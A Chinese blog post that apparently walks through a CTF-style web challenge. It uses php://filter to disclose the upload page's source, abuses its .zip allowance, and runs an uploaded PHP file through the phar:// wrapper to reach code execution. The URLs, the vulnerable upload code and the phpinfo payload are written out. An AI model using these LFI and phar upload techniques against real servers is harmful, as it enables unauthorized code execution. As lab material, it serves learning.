• 记一次简单的GetShell案例


    案例链接:

    http://202.112.51.184:8007/

    打开链接,发现分了多个页面:

    挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:

    于是输入:

    http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload

    得到一串base64编码:

    在线解密后得到网页隐藏源码:

     1 <html lang="zh-CN">
     2   <head>
     3     <meta charset="utf-8">
     4 <?php
     5 $error=$_FILES['pic']['error'];
     6 $tmpName=$_FILES['pic']['tmp_name'];
     7 $name=$_FILES['pic']['name'];
     8 $size=$_FILES['pic']['size'];
     9 $type=mime_content_type($tmpName);
    10 try{
    11     if($name!=="")
    12     {
    13         $name1=substr($name,-4);
    14         if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip'))
    15         {
    16             echo "hehe";
    17             echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
    18             exit;
    19         }
    20         if($type!=="image/jpeg"&&$type!=="image/gif")
    21         {
    22             echo mime_content_type($tmpName);
    23             echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
    24             exit;
    25         }
    26         if(is_uploaded_file($tmpName)){
    27             $time=time();
    28             $rootpath='uploads/'.$time.$name1;
    29             if(!move_uploaded_file($tmpName,$rootpath)){
    30             echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
    31             exit;
    32         }
    33     }
    34     echo "图片ID:".$time;
    35     }
    36 }
    37 catch(Exception $e)
    38 {
    39     echo "ERROR";
    40 }
    41 //
    42  ?>
    43  </html>

    从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手

    在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:

    <?php phpinfo();?>

    将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:

    然后记住图片ID,在view页搜索后跳转出现以下页面:

    这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:

    http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2

  • 相关阅读:
    jquery easyui-datagrid手动增加删除重置行
    jsp中一行多条数据情况
    JQuery操作下拉框
    解决juqery easyui combobox只能选择问题
    oracle中WMSYS.WM_CONCAT函数的版本差异
    oracle wm_concat(column)函数的使用
    Javascript九大排序算法详解
    C#和VB新版本的最新特性列表
    Oracle中如何区别用户和模式
    远程控制数据库实用SQL重启功能
  • 原文地址:https://www.cnblogs.com/yang12318/p/9438768.html
Copyright © 2020-2023  润新知